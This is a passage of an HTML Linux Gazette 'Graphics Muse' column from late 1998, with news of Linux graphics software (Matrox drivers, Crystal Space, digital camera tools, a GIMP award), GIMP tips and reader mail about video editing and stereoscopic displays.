arguments is the distraction thats created from the real focus - proving
how Open Source/free software can really be viable solutions to end users,
not just developers. Thats key to making Linux a world player in
corporations, education, government and on the desktop.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>In this months column you'll
find:</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>State of the DisUnion - an editorial
to celebrate my 2 year anniversary as the Muse.</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Review: Corel Super Ten
Packs CD collections</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Off the shelf video cards:
choosing the right solution the first time.</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>An updated on X Input support
for MetroLink's Metro-X server.</FONT></FONT></LI>
</UL>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="mews"></A><IMG SRC="../gx/hammel/mews.jpg" HEIGHT=50 WIDTH=245>
<TABLE BORDER=0 COLS=3 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD ALIGN=LEFT VALIGN=TOP WIDTH="140" NOSAVE>
<TABLE BORDER CELLSPACING=0 CELLPADDING=2 COLS=1 WIDTH="100%" HEIGHT="100%" BGCOLOR="#FE992B" NOSAVE >
<TR>
<TD><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Other Announcements:</FONT></FONT></B></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#blender">Blender
Manual</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#moxy">Moxy
0.1.2</A></FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#quickimage">Quick
Image Viewer 0.9.1</A></FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD ALIGN=LEFT VALIGN=TOP NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#gqviewer">GQview
0.4.3</A></FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#fltk">FLTK
19981006</A></FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#xawtv">XawTV
2.28</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#jmkfonts">jmk-x11-fonts
1.2</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#killustrator">KIllustrator</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#mathmap">MathMap</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#metro-x">Metro-X
4.3</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT SIZE=-1><A HREF="mews.html#gnu-plotutils">GNU PlotUtils 2.1.6</A></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#direct-media">Simple
DirectMedia Layer Version 0.8</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#tkscanfax">tkscanfax</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#mam-vrs">MAM/VRS</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mews.html#xig">Xi
Graphics Announcements</A></FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD ALIGN=CENTER NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><
<A HREF="mews.html">More
Mews</A> ></FONT></FONT></TD>
</TR>
</TABLE>
</TD>
<TD WIDTH="1" NOSAVE></TD>
<TD ALIGN=LEFT VALIGN=TOP NOSAVE>
<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=3 COLS=1 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B>Disclaimer</B>:
Before I get too far into this I should note that any of the news items
I post in this section are just that - news. Either I happened to run across
them via some mailing list I was on, via some Usenet newsgroup, or via
email from someone. I'm not necessarily endorsing these products (some
of which may be commercial), I'm just letting you know I'd heard about
them in the past month.</FONT></FONT></TD>
</TR>
<TR>
<TD>
<HR NOSHADE WIDTH="100%"></TD>
</TR>
</TABLE>
<B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>S.u.S.E announces support
for Matrox Cards</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Dirk Hondel has put a new
version of XFCom_Matrox on the ftp site and updated the web site at <A HREF="http://www.suse.de/XSuSE/XSuSE_E.html">http://www.suse.de/XSuSE/XSuSE_E.html</A>.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The new server should work
on all current Matrox boards, including the</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Millennium G200 (SGRAM
and SDRAM)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Mystique G200</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Productiva G100</FONT></FONT></LI>
</UL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The server is well accelerated
and supports 8/16/24/32bpp on all of these cards.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Please report any problems
with these servers to <A HREF="mailto:x@suse.de">x@suse.de</A></FONT></FONT></TD>
</TR>
</TABLE>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Meteor 1.5.2 - Matrox
Meteor video capture board driver/utilities</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:mark.sutton@laitram.com">Mark
Sutton</A> is pleased to announce the release of "meteor-1.5.2", a driver
and collection of applications for the Matrox Meteor frame grabber.
This driver runs on the Linux 2.0.xx series of kernels. Its earlier counterpart,
version 1.5.1, has been reported to work on many 2.1.xx releases and later
1.3.xx kernels. This version should work on those kernels also.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The <B><FONT COLOR="#CC6600">Matrox
Meteor</FONT></B> is a high end professional quality video capture board
commonly used in demanding video capture applications such as laboratory
research, robotics, and industrial inspection. It's video quality
and clarity of it's captures are generally notably superior to the garden
variety consumer grade image capture devices, and it's price reflects this.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>This driver is bundled with
single frame capture software, software for displaying real time video
in a window, patches to make the meteor work with "vic", a Linux video
conferencing package, and other goodies. The "official page" for
this package is found at <A HREF="http://www.rwii.com/linux/">http://www.rwii.com/linux/</A>.
Other information about this driver can be found at <A HREF="http://www.cs.virginia.edu/~bah6f/matrox/">http://www.cs.virginia.edu/~bah6f/matrox/</A>.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Like the numbering scheme
for the Linux kernel itself, the odd middle numeral in the version number
("5") indicates that this is a "development" release. It however
contains numerous enhancements over the last "stable" release, not the
least of which are the ability to compile without hacking on the latest
development and stable linux kernel versions, as well as the ability to
compile and run properly on libc6 based distributions. In actuality,
this "development" version should prove to be pretty much as stable as
the last "stable" release.</FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Crystal Space 3D engine
Has Moved</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:Jorrit.Tyberghein@uz.kuleuven.ac.be">Jorrit
Tyberghein</A> would like to announce a knew homepage for the <B><FONT COLOR="#CC6600">Crystal
Space 3D</FONT></B> engine. He develops Crystal Space mainly on Linux but
it is also ported to other platforms (like Windows, DOS, Macintosh, OS/2,
Amiga, ...)</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The URL is http://crystal.linuxgames.com</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Crystal Space is a free (LGPL)
3D engine written in C++. It supports colored lights, mipmapping, mirrors,
reflecting surfaces, 3D models/sprites, scripting, and other features.
The purpose is to make a free and flexible 3D/game engine. Crystal
Space is also a rather large open source project. There are currently about
182 people subscribed to the developers mailing list. You can join to!</FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Casio QV-10 digital camera
HOWTO</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Bob Hepple has re-posted
the HOWTO for using the Casio QV-10 digital camera with Linux (published
in Linux Gazette) at:</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.bit.net.au/~bhepple/qvplay/qvplay.html">http://www.bit.net.au/~bhepple/qvplay/qvplay.html</A></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Bob Hepple</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>mailto:<A HREF="mailto:bhepple@bit.net.au">bhepple@bit.net.au</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.finder.com.au">http://www.finder.com.au</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Casio QV digital camera
support for the GIMP</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:jbnivoit@ix.netcom.com">JB</A>
is pleased to announce a new plug-in for the GIMP. It called 'cam' and
allows the GIMP to read CAM files directly. Those files are the ones stored
in Casio QV-* digital cameras and that you can dump using, for instance,
QVplay.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>URL: <A HREF="http://www.mygale.org/~jbn/qv.html">http://www.mygale.org/~jbn/qv.html</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>DC20Pack - software for
Kodak DC20/25 cameras</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><FONT COLOR="#CC6600">DC20Pack</FONT></B>
is a Software Package for Kodak DC20 and DC25 digital cameras which contains
two programs: <I><FONT COLOR="#CC6600">dc20term</FONT></I> and <I><FONT COLOR="#CC6600">dc2totga</FONT></I>.
dc20term transfers the pictures out of the camera and stores they as raw
data files. dc2totga converts those raw data files to standard image
files using the popular TGA image file format.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>URLs:</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="ftp://sunsite.unc.edu/pub/Linux/apps/graphics/capture">ftp://sunsite.unc.edu/pub/Linux/apps/graphics/capture/dc20pack-1.0.tgz</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://home.t-online.de/home/Oliver.Hartmann">http://home.t-online.de/home/Oliver.Hartmann</A></FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>GIMP wins Productivity
Software award from APC Magazine</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The following note was posted
to the <B><FONT COLOR="#CC6600">GIMP</FONT></B> Developers mailing list
on October 19th, 1998:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I'm writing from
Australian Personal Computer magazine and would like to congratulate your
having won an Award at our annual IT Awards evening last Thursday.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>We have a beautiful crystal
trophy we would like to send you having won in the Productivity Software
of 1998 category. Please can you forward me your street address and
phone number as I would like to send this by courier to you.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Regards</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Helen Duncan</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>New Media Projects Manager</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Australian Personal Computer</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The official award announcement
can be found at <A HREF="http://newswire.com.au/9810/award.htm">http://newswire.com.au/9810/award.htm</A>.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The award is being shipped
to Peter Mattis who will be placing the trophy in the lobby of the XCF
(Experimental Computing Facility) at Berkeley, which is where the GIMP
has its origins. Congratulations to all those involved in the evolution
of the GIMP!</FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<P><!--
-- Did You Know Section
-->
<H2>
Did You Know?</H2>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>...For those of
you who don't read GIMP News, <A HREF="mailto:xach@mint.net">Zach Beane</A>
has added a couple new tutorials to <A HREF="http://www.xach.com/gimp/tutorials/">http://www.xach.com/gimp/tutorials/.</A></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>...at a refresh rate of 60Hz
or lower, you'll often detect an eyestrain-causing flicker on your screen.
Flicker generally disappears at 72Hz; the Video Electronics Standards Association's
(VESA's) recommended minimum for comfortable viewing is 75Hz. Whichever
card you buy, in any price range, be sure that it and your monitor can
synchronize to provide at least a 75Hz refresh rate at your highest preferred
resolution and color depth.</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>From <B><FONT COLOR="#CC6600">ComputerShopper.com</FONT></B>'s
article "<A HREF="http://www.zdnet.com/computershopper/edit/cshopper/content/9704/cshp0013.html">Performance
on Display</A>"</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>...a poll is being run by <A HREF="http://www.lumis.com/poll">lumis.com</A>
asking which platform you'd like to see <B><FONT COLOR="#CC6600">Alias/Wavefront's
Maya 3D</FONT></B> product ported to. Go there and tell the world
- we want graphics tools ported to Linux! Slashdot had reported this
link and noted that MacOS was way out in front, but the <I>Slashdot effect</I>
&tm; had already taken by the time I got there and Linux was in front
once again.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>...you can find collections
of free fonts all over the Internet. Take a look at the following
sites:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.fountain.nu/fonts/free.html">http://www.fountain.nu/fonts/free.html</A>
- TrueType only (PC format downloads is in small type)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.signalgrau.com/eyesaw/html/main.htm">http://www.signalgrau.com/eyesaw/html/main.htm</A>
- TrueType and Postscript Type 1 fonts (pfb)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.rotodesign.com/fonts/fonts.html">http://www.rotodesign.com/fonts/fonts.html</A>
- Type 1, but sans most punctuation and some numbers</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>More sites can be found
from Yahoo's listings: <A HREF="http://dir.yahoo.com/Arts/Design_Arts/Graphic_Design/Typography/Typefaces/">http://dir.yahoo.com/Arts/Design_Arts/Graphic_Design/Typography/Typefaces/</A></FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>...another 3D modeller is under
development, this one using C and Tcl/TK. This one is called Mops
and has support for NURB curves and RIB export files. Take a look
at <A HREF="http://www.informatik.uni-rostock.de/~rschultz/mops.html">The
Mops Home Page</A>.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>...there are a couple of
newsgroups being run off the POV-Ray web site for the discussion of POV-Ray,
the 3D raytracing tool and the display of images. Take a look at
n<A HREF="ews://news.povray.org/povray.binaries.images">ews://news.povray.org/povray.binaries.images</A>
and <A HREF="news://news.povray.org/povray.general">news://news.povray.org/povray.general</A>.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>...a very good explanation
of using matrix transformations with POV-Ray can be found at <A HREF="http://www.erols.com/vansickl/matrix.htm">http://www.erols.com/vansickl/matrix.htm</A>.
Additionally, you can find some useful POV-Ray macros at <A HREF="http://www.erols.com/vansickl/macs.htm">http://www.erols.com/vansickl/macs.htm</A>.</FONT></FONT></BLOCKQUOTE>
<!--
-- Q and A Section
-->
<H2>
Q and A</H2>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Q: What does one use
[in the Gimp] in place of Photoshop's smudgy finger? I've tried using
the "fill with color or gradient" to no avail. I just want to smudge.
Ideas?</FONT></FONT></I>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>A: There is no smudge
tool. It has been oft requested, but noone has written one. Some
not quite the same alternatives: the blur tool, iwarp, or selecting a region
a bit and applying a gaussian blur. Not the same, but alas...</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Adrian Likins</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:adrian@gimp.org">adrian@gimp.org</A></FONT></FONT></BLOCKQUOTE>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Q: I want to
place a block of text with evenly single-spaced lines using some arbitrary
font onto my Gimp image. Rather than doing it line by line with the
Text Tool, is there an easier way?</FONT></FONT></I>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>A: While the Ascii2Image
is probably the nicest solution, there is another somewhat more obscure
method. Using Cut and Paste into the text tool entry, the the text
tool has no problems with newline characters - you can make multiple text
lines directly from the text tool this way.</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Seth Burgess</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:sjburges@gimp.org">sjburges@gimp.org</A></FONT></FONT></BLOCKQUOTE>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Q: Is there any way
to get gimp to use virtual memory instead of its swap file? I was working
on some images where the gimp swap file was about 30mb. Just about any
operation I do causes lots of disk activity. The machine I'm running this
on has more than enough physical memory, but it is not being used.</FONT></FONT></I>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>A: Change the value for the
gimp tile cahce in the Preferences dialog. I'd say with 160mb set
it to at least 80megs or so.</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Adrian Likins</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:adrian@gimp.org">adrian@gimp.org</A></FONT></FONT></BLOCKQUOTE>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Q: Ok now I'm new to
linux and gimp - my friends got me into linux in the last couple months.
How can I, in Gimp save a file without having to merge the layers and still
have the graphic look the way its supposed to? Am I just really missing
something here?</FONT></FONT></I>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>A: If you just want
to save an "in-progress" verison of your image that preserves layers, guides,
channels, selections,etc then you should be saving as <B>.xcf</B>. That's
gimps native format.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>If you want to "export" an
image to a single layer format but not have to merge the layers, you should
have a look at Simon Budig's export scripts that automate this task. These
scripts can be found at:</FONT></FONT>
<BLOCKQUOTE>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.home.unix-ag.org/simon/gimp/export-file.html">http://www.home.unix-ag.org/simon/gimp/export-file.html</A></FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Adrian Likins</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:adrian@gimp.org">adrian@gimp.org</A></FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><I><FONT COLOR="#993300">'Muse</FONT></I></B>
Note: as you can see, Adrian and Seth offer some pretty good advice
on the Gimp User's Mailing list!</FONT></FONT>
<BR>
<HR SIZE=1 NOSHADE WIDTH="100%">
<H2>
Reader Mail</H2>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="mailto:angus@intasys.com">Gus</A>
wrote:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hi Mr Hammel,</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Looking at the April 98
issue...</FONT></FONT>
<BLOCKQUOTE><TT><FONT SIZE=-1>Reader Mail</FONT></TT>
<BR><TT><FONT SIZE=-1>Nick Cali (Mktnc@aol.com) wrote:</FONT></TT>
<BR><TT><FONT SIZE=-1> Just want to drop
a line thanking you for your effort at the Gazette and with Linux.
Really, thanks a lot.</FONT></TT>
<P><TT><FONT SIZE=-1><B><I><FONT COLOR="#993300">Muse</FONT></I></B>:
You're quite welcome. I had gotten some rather harsh email from someone
recently that had me considering dropping out of the Linux world altogether.
Getting little notes like this, however, helps keep me going. Thanks!</FONT></TT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Love the column,</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Please stay,</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>'nuff said.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>:-)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>angus@intasys.com</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><I><FONT COLOR="#993300">'Muse</FONT></I></B>:
Woohoo! My favorite kind of reader mail. Ok. I'll stick
around for a while longer.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>In a previous message, Rolf
Magnus Nilsen says:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I'm really sorry
for bothering you with this problem, but as an avid reader of the Linux
Gazette and the Linux Journal I have read most of your writings there.
And hope you can take the time to answer some questions.</FONT></FONT></BLOCKQUOTE>
<P><BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>'<B><I><FONT COLOR="#993300">Muse</FONT></I></B>:
No problem. I try to answer all the questions that come my way, if
I can.</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Now, we are going
to do a small project in VHS video, and we need some tools for video editing.
The problem is, we cant find any tools besides the simplest command line
tools.</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><I><FONT COLOR="#993300">'Muse</FONT></I></B>:
Thats because there aren't any "canned" tools yet. See below.</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>So our current plan
is to run a framegrabber, grab about 25 pictures a second, organise them,
put in effects/text and use mpegencode to make a movie which we play back
to our VCR. But this is quite a task, when you consider a movie of
about 45 - 50 minutes.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I have been searching around
quite a bit, but have not found anything better than the tools I mentioned.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Do you know any resources
or products I should have a look at. Buying a commercial product is OK
if it runs under Linux..</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><I><FONT COLOR="#993300">'Muse</FONT></I></B>:
Unfortunately this area of graphics tools on Linux is pretty sparse.
Like you said, there are a number of command line tools for doing very
specific tasks (like frame grabbers or creating MPEG video animations)
but there aren't any user-friendly, GUI based tools like, for example,
Adobe Premier.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>That said, there is one project
you might want to look into. The project is called Moxy (http://millennium.diads.com/moxy/).
Not much information there yet, but its aim is to be a Premier-style application.
Its in *very* early development.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>You might also drop a line
to the Gimp-Developer mailing list. A number of people had been discussing
creating an application like this on that mailing list. I haven't
heard whats become of this, however. Adding a plug-in to the Gimp
wouldn't be the best way to handle video editing - the Gimp isn't designed
for that type of work. But eventually interfaces should be (re: ought
to be) developed that allow easy transfer between the Gimp and video editing
tools.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>No commercial packages that
I know of are being ported yet. Desktop publishing on Linux is still
somewhat limited to word processors and the Gimp, which lacks color management
facilities that are quite important to most desktop publishing and video
editing environments.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I'll post your message (actually
this reply) to the next Graphics Muse column and perhaps someone with more
information than I have will contact you. If you hear of any commercial
packages being ported let me know. I'd love to start hearing of such
ports!</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>BTW: I'm really
looking forward to "The Artists' Guide to the GIMP", it is ordered already
:-)</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><I><FONT COLOR="#993300">'Muse</FONT></I></B>:
Hey! A sale! The first official one that I know of. I
hope you find it useful!</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>In a previous message, Dylan
The Hippy Wabbit says:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I have a particular
interest in stereoscopic vision, and so I would like to have an X server
that supports shutter glasses.</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><I><FONT COLOR="#993300">'Muse</FONT></I></B>:
(Note - doesn't anyone go by their real names anymore?) Ouch.
My eyes are hurting already just thinking about these. People (like
me) who have one eye "stronger" than the other can't see these images,
at least not very well. They give me a headache (so do 3D glasses).</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>In case you haven't
heard of these, they use liquid crystals to alternately cover each eye.
The display then alternates in phase so that each eye sees only one view.
Apart from it's use in photography or molecular modelling it makes one
hell of an extension to Quake!</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Some, although only a few,
3D accelerators support them and there is an extensive web site including
homebrewed controllers at:-</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.stereo3d.com/3dhome.htm">http://www.stereo3d.com/3dhome.htm</A></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>However, I can't find any
mention of it in the XFree86 docs. The AcceleratedX web site mentions
support for "3D PEX" which I assume is a typo, although it could be something
genuine I've never heard of. I've searched the LG archive to find
only your mention of a POVRAY "beamsplitter" in issue 27.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Do you know of anything?
After all, we can't let DOS/Windows users have anything we can't get can
we? ;-)</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><B><I><FONT COLOR="#993300">'Muse:</FONT></I></B>
No such beast is yet available. Its just not in high demand so you
probably won't see it from the commercial vendors unless a paying business
customer requests it (with some serious dollars behind the request).
XFree86 will support it as soon as someone decides they want/need it and
have the time/expertise to write the code for it. If the video cards
handle it already then its just a matter of adding that support to an existing
video card driver (assuming a standard, well known video chipset on the
card). The problem is usually finding someone who knows how to do
that. A post to <A HREF="news:comp.os.linux.x">comp.os.linux.x</A>
or maybe a letter to the Linux Gazette editor (<A HREF="mailto:gazette@ssc.com">gazette@ssc.com</A>)
will put you in contact with someone. The LG editor will simply post
your request in the next issue of the Gazette and, with luck, someone will
contact you about their current work in this area. You might also
try sending a letter to the XFree86 support address (its listed on their
web site <A HREF="http://www.xfree86.org">www.xfree86.org</A>).</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I'll post your message in
the November Muse column. Maybe one of my readers will contact you
about this. Keep your fingers crossed!</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>BTW, 3D PEX is not a typo.
PEX is the PHIGS Extension, a formal X Extension that supports PHIGS, which
is the Programmers Hierarchical Interactive Graphics System. Thats
a sort of OpenGL from the earlier days of computer graphics, although its
still in use today in a few places.</FONT></FONT>
<BR>
<HR NOSHADE WIDTH="100%">
<BR><A NAME="webwonderings"></A><IMG SRC="../gx/hammel/webwonderings.jpg" HEIGHT=57 WIDTH=246>
<H2>
Review: Corel Super 10 Packs CD collections</H2>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I haven't been doing much with
my Web site this past month. Once I got the new format running I
